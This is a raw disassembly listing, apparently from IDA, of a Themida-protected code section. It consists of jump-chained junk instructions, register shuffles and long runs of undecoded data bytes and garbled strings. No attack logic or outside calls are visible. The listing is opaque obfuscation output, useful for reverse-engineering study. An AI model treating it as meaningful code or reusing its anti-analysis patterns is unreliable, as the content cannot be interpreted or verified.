db 0B8h, 9Dh, 2Ah
dd 0C229DE9Eh, 0BA525358h, 6C4567F2h, 5D712DBBh, 5AD3298Ch
dd 9689E9h, 0E9545C00h, 1F0Dh, 5159CE89h, 906EA7B9h, 59CE3154h
dd 11FFC681h, 0F68169B1h, 0DF055997h, 348BF709h, 4C48124h
dd 0F7000000h, 51504FD7h, 694FCD68h, 2434FF0Eh, 6E9E9h
dd 2474FF00h, 0B5E95E04h, 660000ABh, 9C241CF7h, 0FFFC98E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_535E29: ; CODE XREF: Themida_:00539883j
pop ebp
add ecx, esi
jmp loc_538712
; ---------------------------------------------------------------------------
loc_535E31: ; CODE XREF: Themida_:0053A585j
shl bl, 4
jmp loc_536B02
; ---------------------------------------------------------------------------
db 59h, 28h, 0D8h
dd 672C0D04h, 7B25266h, 6FE9D028h, 300000AEh, 4EC81D8h
dd 89000000h, 0B4502414h, 0FEC4FEBDh, 80CCFECCh, 51E9E3E4h
dd 5C000029h, 0E9240489h, 74A2h
; ---------------------------------------------------------------------------
loc_535E70: ; CODE XREF: Themida_:00537C31j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_5368C4
; ---------------------------------------------------------------------------
dw 0E089h
dd 1655E9h, 223BE00h, 0EE811A54h, 5E020765h, 48D7EE81h
dd 0CE813EBCh, 3EB129Dh, 0C7DAF681h, 0F5214272h, 87F5815Eh
dd 8143BA56h, 0B72B7AEDh, 0C5C58113h, 810D820Ah, 0FD169CC5h
dd 3EDC1E7h, 8105EDC1h, 4052B5E5h, 8E5C17Ch, 9BD9E9h, 4C78100h
dd 83000000h, 3C8704EFh, 24895C24h, 24048124h, 4, 0C1AFE95Eh
dd 8B660000h, 0EC812404h, 4, 0E9242C89h, 3212h, 698DEA81h
dd 0DA013386h, 698DC281h, 0A8E93386h, 810000C0h, 0B708A3E9h
dd 8BCF29F6h, 0C483240Ch, 0E9FD0104h, 8EDBh, 0FFFB94E9h
dd 0ABF381FFh, 0C10E7D32h, 0F38105E3h, 3BDE1D58h, 2D5BD801h
dd 113D66C9h, 2C0835Fh, 64A9E9h, 0D2EA8100h, 0E9679341h
dd 2541h, 0B5EE815Dh, 17F7F41h, 0B5B951CEh, 17F7F41h, 0FAE959CEh
dd 4000071h, 53690445h, 4EC81h, 4890000h, 88BDB424h, 24048BE7h
dd 0E904C483h, 3A4Eh
; ---------------------------------------------------------------------------
loc_535F8C: ; CODE XREF: Themida_:00541A97j
mov eax, esp
add eax, 4
jmp loc_53D3ED
; ---------------------------------------------------------------------------
dd 0C9BA525Bh, 4A241C3Ch, 16A7F281h, 7CE92940h, 0F700000Ah
dd 6BF281D2h, 0E9EC74EBh, 4F4Bh, 2B2CEB81h, 0BA525E08h
dd 25031655h, 9FE9E2D1h, 5000094h, 128832FEh, 6205BE56h
dd 80E96DF8h, 6600008Eh, 0DEE9008Fh, 68FFFFFAh, 6150h
dd 0FF241C89h, 8B042474h, 8953241Ch, 2093E9E3h, 14330000h
dd 24143124h, 5C241433h, 9F12E9h
db 0
; ---------------------------------------------------------------------------
loc_536009: ; CODE XREF: Themida_:00536D42j
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5423B7
; ---------------------------------------------------------------------------
loc_53601D: ; CODE XREF: Themida_:0053E835j
xor al, bl
mov bx, [esp]
jmp loc_53CE94
; ---------------------------------------------------------------------------
dd 405E089h, 83000000h, 48704E8h, 0C895C24h, 7DBE5624h
dd 57405F34h, 0F989F789h, 0E9D15E5Fh, 13A2BE56h, 0F10140EAh
dd 5224348Bh, 0C3E9E289h
db 99h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53605B: ; CODE XREF: Themida_:005385ABj
push ebp
mov ebp, 0B8E32DFh
add [esp+4], ebp
pop ebp
pop ecx
sub ecx, 0B8E32DFh
pop edx
jmp loc_53D271
; ---------------------------------------------------------------------------
db 81h
dd 4EAh, 61CCE900h, 8F540000h, 4832404h, 815F0424h, 4C7h
dd 4C78100h, 87000000h, 875C243Ch, 248B241Ch, 242CD324h
dd 0FA1BE99Ch, 8143FFFFh, 0EB1C22C3h, 24E3815Bh, 681DA646h
dd 6631h, 0E9240C89h, 8C93h, 679AED81h, 0EDC17107h, 0D8C58105h
dd 2913C73Eh, 0BB535DE8h, 5F3C7445h, 29EB8143h, 502426Fh
dd 647927D2h, 0D22DD829h, 0E9647927h, 74AFh, 4C481h, 0C2800000h
dd 0D7885377h, 0AC44E9h, 5D02900h, 2018093Bh, 0E92434FFh
dd 3437h, 348BF501h, 5E545624h, 4C681h, 0C6830000h, 24348704h
dd 2C5815Ch, 55000000h, 42474FFh, 5D2434FFh, 8F04C483h
dd 0E95C2404h, 7D0h
; ---------------------------------------------------------------------------
loc_536140: ; CODE XREF: Themida_:0053CD0Bj
sub ecx, esi
pop esi
shr ecx, 2
sub ecx, 183FE901h
jmp loc_53BCD6
; ---------------------------------------------------------------------------
loc_536151: ; CODE XREF: Themida_:005377ADj
shr ebp, 7
push esi
mov esi, 606064A5h
jmp loc_53BAE1
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0B3E95000h, 810000B7h, 1C0B38EBh, 36F3811Eh, 813B7E73h
dd 63516BEBh, 7EF38120h, 29B8AEE4h, 241C8BDAh, 104C483h
dd 24148BD3h, 8704C483h, 0CFE9241Ch, 81000062h, 4ECh, 240C8900h
dd 89E9DEB5h, 83000054h, 0FF5704C4h, 5F042474h, 8B24048Fh
dd 0D3662424h, 0E99C240Ch, 0FFFFF8FDh, 6624248Bh, 9C240409h
dd 0FFF8F0E9h, 0E9DA21FFh, 0B16Fh
; ---------------------------------------------------------------------------
loc_5361D8: ; CODE XREF: Themida_:0053BEDBj
xor edi, ebx
xor ebx, edi
xor edi, ebx
xchg edi, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_53A254
; ---------------------------------------------------------------------------
loc_5361ED: ; CODE XREF: Themida_:00537661j
add ecx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_53F716
; ---------------------------------------------------------------------------
db 66h, 8Fh, 4
dd 0F8BBE987h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_536206: ; CODE XREF: Themida_:00539FB9j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add [esp+4], ebx
pop ebx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_53F68C
; ---------------------------------------------------------------------------
loc_53622C: ; CODE XREF: Themida_:0054178Cj
xor [esp], edi
jmp loc_53BED7
; ---------------------------------------------------------------------------
dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 53BAh, 5B2434FFh
dd 6804C483h, 4688h, 89243489h, 4C681E6h, 83000000h, 348704C6h
dd 24248B24h, 2A88E952h, 815B0000h, 717FF4C3h, 4EC81CBh
dd 89000000h, 0B951243Ch, 3D06705h, 59B8E9h, 48B6600h
dd 0A3A2E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_536292: ; CODE XREF: Themida_:00538721j
add ecx, 35955185h
push 2F2Fh
mov [esp], edx
jmp loc_5401AA
; ---------------------------------------------------------------------------
db 54h, 5Bh, 55h
dd 4BDh, 10A5E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5362B2: ; CODE XREF: Themida_:005415CBj
sub eax, ebp
pop ebp
jmp loc_53D7F4
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 4C48158h, 68000000h, 5FBEh, 68243C89h, 7726h
dd 50242489h, 4B8h, 24448100h, 8470B04h, 1318E90Fh, 8B660000h
dd 0AE92404h, 55000014h, 620559BDh, 0DBBD5525h, 110E85Bh
dd 0F8F3E9EBh, 0BF57FFFFh, 0A2D0925h, 0E0C7814Fh, 1F5D2F6h
dd 14335FFAh, 24143124h, 5C241433h, 0B65253h, 0F3300EB3h
dd 4EE9515Ah, 55000023h, 0B9A1E9h, 32FF6400h, 0FFF784E9h
dd 48F54FFh, 1973E924h, 0B8500000h, 17660246h, 0FFFFFF05h
dd 2E6AE9FFh, 0E2800000h, 0EAEA80D1h, 45AD000h, 282004EFh
dd 2C202CD8h, 0E9E62CEFh, 6F12h, 5B66DA00h, 0B5E9D588h
dd 5C00000Ah, 81E78957h, 4C7h, 0A629E900h, 0C4810000h
dd 4, 0B04FE9h, 24048700h, 24048F5Ch, 4278E9h
db 0
; ---------------------------------------------------------------------------
loc_5363A1: ; CODE XREF: Themida_:0053F02Cj
push 3DFh
mov [esp], edx
mov edx, esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_542159
; ---------------------------------------------------------------------------
db 86h, 0C7h, 86h
dd 525066F8h, 0D088FA88h, 461AE95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5363CA: ; CODE XREF: Themida_:0053EE8Bj
pop eax
push edx
mov edx, 203C1E3Ch
jmp loc_53BA8A
; ---------------------------------------------------------------------------
dw 483h
dd 48F0424h, 4EC8124h, 0E9000000h, 0A988h, 83242C8Bh, 0C9E904C4h
dd 0AC000066h, 0FFFA52E9h, 0FF5805FFh, 0C629262Eh, 0E1895158h
dd 4C181h, 0B4E90000h, 5000037h, 3E0C707Ch, 88497D05h
dd 61F1E9AEh, 0EF810000h, 4C64F0h, 0BCE9FE01h, 5D0000BCh
dd 85E9EB29h, 59FFFFFBh, 3AABBB53h, 0EB8136BDh, 5CF077D7h
dd 0DBF7D3F7h, 3D2FC381h, 0D9012633h, 7C2E95Bh, 0C4810000h
dd 2, 81E38953h, 4C3h, 0B608E900h, 0AFB50000h, 807CF580h
dd 8950A5CDh, 405E0h, 0E8830000h, 24043302h, 33240431h
dd 248B2404h, 4896624h, 2C83B024h, 2904A5h, 805866C5h
dd 0E95265C5h, 0BE0Eh
; ---------------------------------------------------------------------------
loc_53649C: ; CODE XREF: Themida_:0053DE84j
pop ebp
push eax
mov eax, 0BA1E9C4h
sub ecx, eax
pop eax
add ebx, ecx
jmp loc_539080
; ---------------------------------------------------------------------------
aLH db '‹$$h ]',0
dd 9518E900h, 0D6F70000h, 0F681DEF7h, 76C32FB0h, 348BF101h
dd 4C48124h, 0E9000000h, 8FE8h, 0C158C231h, 0EAC108E2h
dd 3DF28103h, 0E9700E4Dh, 422h, 5B71B4BBh, 0CFE94363h
dd 810000B9h, 4C7h, 3F2E900h, 83590000h, 0E18104C4h, 28EA6289h
dd 6664E181h, 0E9810BFAh, 0E71F37A6h, 16E9C889h, 0FF0000AEh
dd 669D1C77h, 24041858h, 0F597E99Ch, 0CB28FFFFh, 4AC9E9h
dd 56E95300h, 5E000076h, 69BA5251h, 0C17DA267h, 0E0E902EAh
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536547: ; CODE XREF: Themida_:0053C55Bj
add eax, 17F41529h
add eax, 580CEB36h
add eax, edi
push dword ptr [eax]
jmp loc_540CED
; ---------------------------------------------------------------------------
dw 0CDFEh
dd 24ED80h, 240C8BE8h, 2804C483h, 5ADC2CF0h, 48EC6853h
dd 4890000h, 981E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53657A: ; CODE XREF: Themida_:0053B4E3j
mov esi, esp
add esi, 4
sub esi, 4
sub esp, 4
jmp loc_539B70
; ---------------------------------------------------------------------------
loc_536590: ; CODE XREF: Themida_:00537EECj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_53C8E4
; ---------------------------------------------------------------------------
loc_53659C: ; CODE XREF: Themida_:00537B2Fj
mov ebx, [esp]
add esp, 4
push eax
push ecx
push 2E9F6645h
jmp loc_541FD2
; ---------------------------------------------------------------------------
aBWUbJbsiiSra db 'Áê',7,'Â`WÇu¦Bs‰‰ÐéR€',0
align 4
loc_5365C4: ; CODE XREF: Themida_:00538207j
xor al, dh
jmp loc_537D55
; ---------------------------------------------------------------------------
db 1
dd 0F9895AD7h, 0E9243C8Bh, 3A55h, 505E8C1h, 1, 88F5B02Dh
dd 58C589D9h, 4246C01h, 81242C8Bh, 4C4h, 24148B00h, 0FFFD8DE9h
dd 0E9555BFFh, 860Fh
; ---------------------------------------------------------------------------
loc_536604: ; CODE XREF: Themida_:0053FE18j
pop ax
add al, 58h
sub al, cl
push ebx
mov bh, 0D8h
not bh
shr bh, 8
shr bh, 6
or bh, 0B4h
shr bh, 8
xor bh, 58h
sub al, bh
mov ebx, [esp]
jmp loc_53A075
; ---------------------------------------------------------------------------
dd 0FFF494E9h, 0E94CB3FFh, 2AC2h, 88E38059h, 0E94BF380h
dd 57BAh, 97316FBDh, 0C1DDF722h, 0EDC104E5h, 2E5C105h
dd 0AB43B951h, 0CD3134A2h, 8BEB2959h, 0C483242Ch, 4079E904h
dd 0C2810000h, 4, 0FFFA02E9h, 4C181FFh, 81000000h, 4C1h
dd 74FF5100h, 0C8B0424h, 4C48124h, 0E9000000h, 20CEh, 104C483h
dd 24148BD6h, 116FE950h, 0C4810000h, 4, 3CA3B850h, 0FD0D3466h
dd 0E95F4F15h, 0B776h, 59CE315Bh, 6951E9h, 2434FF00h, 7B685759h
dd 54000078h, 0E924048Fh, 16CCh
; ---------------------------------------------------------------------------
loc_5366D0: ; CODE XREF: Themida_:00537F37j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_536D58
; ---------------------------------------------------------------------------
loc_5366E4: ; CODE XREF: Themida_:00539B31j
jmp loc_535AC1
; ---------------------------------------------------------------------------
db 89h, 0FAh, 0E9h
dd 4C57h, 0E924048Bh, 9EBCh, 58E9C800h, 66000092h, 0E9240C8Bh
dd 842Fh, 2FE0C781h, 0BB530465h, 68A22F89h, 2D5BDF01h
dd 36CF57EDh, 0D0E9F801h, 8F0000AFh, 665C2404h, 53240C8Bh
dd 0FECBE954h, 0CE81FFFFh, 4E5F7540h, 0B317E946h, 2C810000h
dd 212A9E24h, 0BE565D0Dh, 14E081Ch, 464ED6F7h, 0E3F68146h
dd 0E9256414h, 29BEh, 9AE9C301h, 510000A6h, 0C181E189h
dd 4, 423DE9h, 53FA0400h, 8904EC83h, 0F9E9240Ch, 59000026h
dd 0F581D5F7h, 59B0E3CBh, 0E95DE801h, 73C1h
; ---------------------------------------------------------------------------
loc_536790: ; CODE XREF: Themida_:0053D4AEj
pop ebp
mov ebp, ecx
pop ecx
and ecx, ebp
jmp loc_53FB06
; ---------------------------------------------------------------------------
db 5Bh
dd 78AE681h, 0BA520660h, 0E4271E0h, 0A6E9D631h
db 74h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5367AF: ; CODE XREF: Themida_:0053DD1Dj
push esi
jmp loc_53F673
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0E5h
dd 0C13FFB5Dh, 0BD5507EAh, 45AF3D46h, 0C15DEA29h, 0CA8108E2h
dd 49C876BFh, 2830B850h, 0C22907FAh, 4FB9E9h, 240C3300h
dd 0E9240C31h, 34D7h, 136332BBh, 5BDE8959h, 0C15EF321h
dd 99E907EBh, 0BA000041h, 0EB68FDh, 7CFFE9h
db 0
; ---------------------------------------------------------------------------
loc_536805: ; CODE XREF: Themida_:0053A3D2j
pop esp
push ebp
jmp loc_53C1FB
; ---------------------------------------------------------------------------
dd 8704C283h, 285C2414h, 664204F8h, 9D68575Bh, 0E9000032h
dd 4A12h, 81E18951h, 4ECh, 242C8900h, 6394BF57h, 0EFC17633h
dd 76EF8102h, 0E961557Dh, 0B328h, 5A64B850h, 0D4078B7h
dd 66EF2328h, 0FBB9E940h, 3C87FFFFh, 4F73E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53685E: ; CODE XREF: Themida_:00537915j
pop esp
mov [esp], eax
jmp loc_541786
; ---------------------------------------------------------------------------
loc_536867: ; CODE XREF: Themida_:005393B9j
xor edx, 7849132Ch
jmp loc_53E17A
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 9EA1E95Bh, 0B5680000h, 8900002Bh, 0B868240Ch
dd 596ADE05h, 4955F181h, 0BE561D27h, 3CE13F5Dh, 4EFFE9h
dd 598BB900h, 0C9810B8Eh, 46E05559h, 8D0BE9h, 28206800h
dd 0C890000h, 6EB0E924h, 24680000h, 0E900005Ch, 5A2Fh
; ---------------------------------------------------------------------------
loc_5368C4: ; CODE XREF: Themida_:00535E79j
push eax
mov eax, esp
push ebp
mov ebp, 45341AF5h
shl ebp, 6
dec ebp
dec ebp
add ebp, 0B2F942C6h
jmp loc_53D635
; ---------------------------------------------------------------------------
db 5Fh, 0C1h, 0E8h
dd 52D0F708h, 0A65BE1BAh, 0E9D0094Ch, 317Fh, 4C781h, 3C870000h
dd 66E95C24h, 31000021h, 1C33241Ch, 0FBA3E924h, 0E942FFFFh
dd 78DBh, 2404FF66h, 0ACE3E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53691A: ; CODE XREF: Themida_:00536F60j
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ecx
push edi
push 66D14787h
pop edi
sub edi, 573006DEh
sub edi, 70C757ADh
not edi
add edi, 0E922180Ch
mov ecx, edi
pop edi
jmp loc_53C6E0
; ---------------------------------------------------------------------------
aBPdbpbQxSY db 'ϯdBpÇŸå[Íé²Y',0
align 4
dd 0B60F59CBh, 87048FC0h, 7899E9h, 48B6600h, 34136824h
dd 3CE90000h, 5600006Bh, 612DB9BEh, 65C2E948h, 3C8B0000h
dd 4C48124h, 55000000h, 506A3EBDh, 0C6C58154h, 1ABAF95h
dd 0EC835DEFh, 41A1E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5369A2: ; CODE XREF: Themida_:00538D2Fj
mov ebp, edi
jmp loc_5378E8
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 6A9Bh, 4247431h, 8324348Bh, 48B04C4h, 8B545724h
dd 0C481243Ch, 4, 17D1B951h, 9BE9699Eh, 0F6000032h, 66D7F6D7h
dd 28D6B050h, 2E19E9C7h, 4B80000h, 1000000h, 0BB5358C7h
dd 4, 575BDF01h, 42474FFh, 24048F5Fh, 11E9525Ch
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536A07: ; CODE XREF: Themida_:00539A4Aj
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_53F4AB
; ---------------------------------------------------------------------------
dd 1512EF81h, 0A6E93866h, 100002Dh, 0CF015AD7h, 2A6FEF81h
dd 2BE90D5Ch, 100004Ah, 7DC381D3h, 5A596849h, 4EC8355h
dd 1535E9h, 24048B00h, 72D7E9h, 0BB535E00h, 4, 0A584E9h
dd 0F05FE900h, 5D54FFFFh, 75DBE9h, 23E95B00h, 87000005h
dd 15C240Ch, 78BE56C2h, 816F3219h, 5D1D57F6h, 0EAEA8107h
dd 114662Ch, 0EAC281F2h, 5E14662Ch, 2CB1EA81h, 0C281500Ch
dd 669E2030h, 0FFF020E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_536AA1: ; CODE XREF: Themida_:0053E0FEj
sub edx, 5DA874ECh
add edx, 782E3E7Ch
mov ebp, edx
pop edx
sub ebp, 0F85824DAh
sub edx, 262B0E7Dh
add edx, ebp
add edx, 262B0E7Dh
jmp loc_53A74A
; ---------------------------------------------------------------------------
aISg db '‰,$ég#',0
db 0
; ---------------------------------------------------------------------------
loc_536AD1: ; CODE XREF: Themida_:0053F38Aj
pop ebp
and edi, edx
pop edx
xor edi, 10503404h
add eax, edi
pop edi
xchg eax, [esp]
pop esp
pop eax
jmp loc_53CA7A
; ---------------------------------------------------------------------------
dd 5C240487h, 4C481h, 0C2890000h, 5AD03158h, 512C68h, 8C92E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_536B02: ; CODE XREF: Themida_:00535E34j
sub esp, 4
jmp loc_537770
; ---------------------------------------------------------------------------
loc_536B0A: ; CODE XREF: Themida_:00535BB7j
add esp, 4
and eax, ecx
pop ecx
jmp loc_539846
; ---------------------------------------------------------------------------
dd 4BDh, 4EC8100h, 89000000h, 8B5E242Ch, 8951242Ch, 8DE9E9E1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_536B32: ; CODE XREF: Themida_:0054176Cj
neg eax
sub esp, 4
jmp loc_53F73A
; ---------------------------------------------------------------------------
aSS_5 db 9,'Óé)s',0
dw 6600h
dd 5524048Bh, 242C8B54h, 4C481h, 0C5810000h, 4, 4F05E9h
db 0
; ---------------------------------------------------------------------------
loc_536B5D: ; CODE XREF: Themida_:0053F757j
add eax, ecx
jmp loc_539651
; ---------------------------------------------------------------------------
loc_536B64: ; CODE XREF: Themida_:00538E19j
add eax, ecx
push ebx
jmp loc_53F27E
; ---------------------------------------------------------------------------
dd 263FBA52h, 0D6310BB5h, 35E6815Ah, 81374D6Dh, 150F68F6h
dd 0E9F78910h, 6EFFh, 34FFD789h, 54565A24h, 0AB87E95Eh
dd 51530000h, 0E99CB050h, 33CBh, 0B3D9E955h, 8B660000h
dd 9768240Ch, 0E9000048h, 9954h, 2BBh, 0E9DE0100h, 8301h
dd 31243433h, 34332434h, 4D35C24h, 0EEE99C24h, 5FFFFEEh
dd 3A043C4Fh, 0A7E9D829h, 8700007Ch, 248B243Ch, 49666824h
dd 14890000h, 0E9575524h, 1E3Ch, 42474FFh, 5E2434FFh, 9638E9h
dd 0A8EA8100h, 1248B0Bh, 0A8C281FAh, 0E9248B0Bh, 9D87h
dd 3E20B850h, 0E8C1107Ch, 36A53506h, 0BA520F33h, 76850224h
dd 355AD009h, 67FC7737h, 2D40D0F7h, 0E7F44EB2h, 48BC129h
dd 4C48124h, 87000000h, 248B240Ch, 242C8924h, 10D0E9h
dd 5FFB0100h, 0E9241C87h, 17B8h
; ---------------------------------------------------------------------------
loc_536C5C: ; CODE XREF: Themida_:00539C9Fj
pop eax
add esp, 4
push ebx
push 14F01457h
pop ebx
dec ebx
sub esp, 4
mov [esp], esi
push edx
mov edx, 5E1C7016h
add edx, 23CBE15h
mov esi, edx
pop edx
jmp loc_5400C3
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0BE243489h, 0B0A5D6Ch, 81E9F301h, 0ADh, 8B1C04E8h
dd 8952240Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 5352665Ch
dd 0CBFED3B3h, 65F0E9h, 4C68100h, 57000000h, 8904EC83h
dd 0AEBD242Ch, 894C0964h, 102BE9EFh, 89530000h, 4BA52E3h
dd 1000000h, 1877E9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_536CE6: ; CODE XREF: Themida_:00540764j
pop ecx
push edi
push edx
mov edx, 28F93654h
add edx, 213D2418h
jmp loc_53E536
; ---------------------------------------------------------------------------
loc_536CF9: ; CODE XREF: Themida_:00540BE5j
push eax
jmp loc_53C8C0
; ---------------------------------------------------------------------------
db 5Fh
dd 0EBE9h, 24248900h, 2AD9E9h, 3ABA5200h, 81308C69h, 987484C2h
dd 4CEA8157h, 8129DBD7h, 0E60410EBh, 0CEB813Bh, 168E179h
dd 0CC381D3h, 0E968E179h, 3204h
; ---------------------------------------------------------------------------
loc_536D38: ; CODE XREF: Themida_:00540322j
push 1256h
mov [esp], esi
mov esi, esp
jmp loc_536009
; ---------------------------------------------------------------------------
aQissK db 'Q䇎',1Bh,'K',0
dw 6600h
dd 0E9240C8Bh, 7287h
; ---------------------------------------------------------------------------
loc_536D58: ; CODE XREF: Themida_:005366DFj
pop esp
jmp loc_53F4C7
; ---------------------------------------------------------------------------
dd offset dword_59C800
dw 2CE8h
dd 98A2E9FAh, 74FF0000h, 8F5E0424h, 248B2404h, 0C8B6624h
dd 37686824h, 34890000h, 57E68924h, 4BFh, 3BEE8100h, 135F359h
dd 3BC681FEh, 8B35F359h, 0C483243Ch, 6EE95104h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536DA3: ; CODE XREF: Themida_:00539A6Aj
add esp, 4
loc_536DA6: ; CODE XREF: Themida_:005380CCj
; Themida_:0053E2C0j
push dword ptr [esp]
jmp loc_538637
; ---------------------------------------------------------------------------
dw 0EB01h
dd 89E9555Dh, 89FFFFF8h, 4C281E2h, 57000000h, 4BFh, 9607E900h
dd 47680000h, 89000035h, 4832424h, 7CE90424h, 1000008h
dd 0E9082454h, 16CDh, 0D4F6D4F6h, 0E9F3F480h, 26F6h, 5C241487h
dd 87241489h, 7DE9240Ch
db 7Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536DFF: ; CODE XREF: Themida_:00540362j
push ecx
push esp
jmp loc_5419CE
; ---------------------------------------------------------------------------
dw 3166h
dd 665D66EFh, 0B2E9F889h, 5100006Ch, 8EE96AB5h
db 2Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536E1B: ; CODE XREF: Themida_:00541D0Aj
mov [esp], eax
push 2FF4h
mov [esp], ecx
mov ecx, 594B14ACh
jmp loc_53E01E
; ---------------------------------------------------------------------------
dd 24148B66h, 2C481h, 0E9520000h, 5Eh, 0DB081FBBh, 3C22E925h
dd 81660000h, 66597AF3h, 565BD801h, 23A7BE66h, 3102E9h
dd 241C8700h, 4E84E9h, 24148900h, 27A768h, 0A956800h, 24890000h
dd 24048324h, 24048F04h, 4240481h, 5A000000h, 229CE9h
dd 47EE8100h, 0E91F3230h, 561Bh, 0D504C7BAh, 0B26FE912h
dd 1B20000h, 285AD000h, 0B75366E8h, 0EDCF8099h, 8005E7C0h
dd 0CF8086EFh, 80D7F67Dh, 0F8287FEFh, 30595B66h, 0C0B60FC3h
dd 5E08950h, 4, 42Dh, 0CDE95000h, 5300009Dh, 0F2635CBBh
dd 0F04BE914h, 8951FFFFh, 4C181E1h, 81000000h, 4C1h, 240C8700h
dd 59E9525Ch, 0B400004Dh, 0FFE788F8h, 48B2434h, 4C48324h
dd 919E9h, 5C4E6800h, 0C890000h, 0E9E18924h, 497Dh, 4C381h
dd 51E90000h
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536F27: ; CODE XREF: Themida_:00540EA8j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_53D9AE
; ---------------------------------------------------------------------------
dd 6624248Bh, 9C243CD3h, 0FFEB78E9h, 41E955FFh
db 83h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_536F4F: ; CODE XREF: Themida_:0053A00Aj
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_53691A
; ---------------------------------------------------------------------------
db 0FEh, 0CBh, 80h
dd 0CB8039C3h, 45E3806Dh, 3EE9DBF6h, 8000001Bh, 0E80003C5h
dd 2EC8159h, 66000000h, 0E9241C89h, 276Ah, 4987E954h, 0EC830000h
dd 24148904h, 4EC81h, 4890000h, 5B7DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_536FA6: ; CODE XREF: Themida_:0053BA4Dj
mov esi, 224D7AAFh
jmp loc_537398
; ---------------------------------------------------------------------------
dd 657308BDh, 3E5C16Bh, 0C2B2F581h, 0E8294926h, 5DAFE9h
dd 4C48300h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 8904EC83h
dd 1BE9242Ch, 8B000067h, 0AE92434h, 52000058h, 6C3CB7BAh
dd 3062E91Ah, 0E8BB0000h, 21258B5Eh, 241C8BDAh, 81E38953h
dd 4C3h, 4C38100h, 0E9000000h, 0AE25h, 5938D50Dh, 6E0C12Bh
dd 753EE9h, 5EF32900h, 5C241C87h, 54240489h, 40558h, 0EC810000h
dd 4, 0BD242C89h, 2, 335DE801h, 4312404h, 24043324h, 0E924248Bh
dd 0B332h, 80C3005Ch, 10E9D2EBh
db 52h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53705F: ; CODE XREF: Themida_:005419EEj
mov [esp], edi
push esp
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add edi, 4
push eax
mov eax, 4
add edi, 531302D5h
add edi, eax
sub edi, 531302D5h
pop eax
xchg edi, [esp]
mov esp, [esp]
or eax, eax
jz loc_535C64
push dword ptr [edi+1Ch]
push 6677h
mov [esp], ecx
push 111D1346h
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_53F891
; ---------------------------------------------------------------------------
loc_5370C5: ; CODE XREF: Themida_:0053E7B7j
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 7BF2h
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push ebx
mov ebx, 3AFC5236h
sub eax, ebx
pop ebx
jmp loc_53F936
; ---------------------------------------------------------------------------
aHo db '[ho%',0
align 4
dd 89240C89h, 4C181E1h, 0E9000000h, 0A71Ch, 4EC81h, 34890000h
dd 0C0ABE24h, 0F1E94264h
db 6Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53712B: ; CODE XREF: Themida_:0053CB74j
add eax, esi
pop esi
jmp loc_537E45
; ---------------------------------------------------------------------------
loc_537133: ; CODE XREF: Themida_:0053C90Bj
push 2C27h
mov [esp], edx
jmp loc_540373
; ---------------------------------------------------------------------------
loc_537140: ; CODE XREF: Themida_:0053F108j
mov edx, [esp]
jmp loc_53A850
; ---------------------------------------------------------------------------
dd 0BB535A54h, 62057AB6h, 0F706E3C1h, 0EC8157DBh, 4, 0B8240489h
dd 7359118Eh, 0CA21E4BFh, 58C701D1h, 0E781D7F7h, 0E805BF1h
dd 0F5FDEF81h, 0FB318BDEh, 2587E9h, 40500h, 41E90000h
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53718B: ; CODE XREF: Themida_:0053DC50j
sub eax, 41E86D00h
jmp loc_539DF1
; ---------------------------------------------------------------------------
db 66h, 5Eh, 0E9h
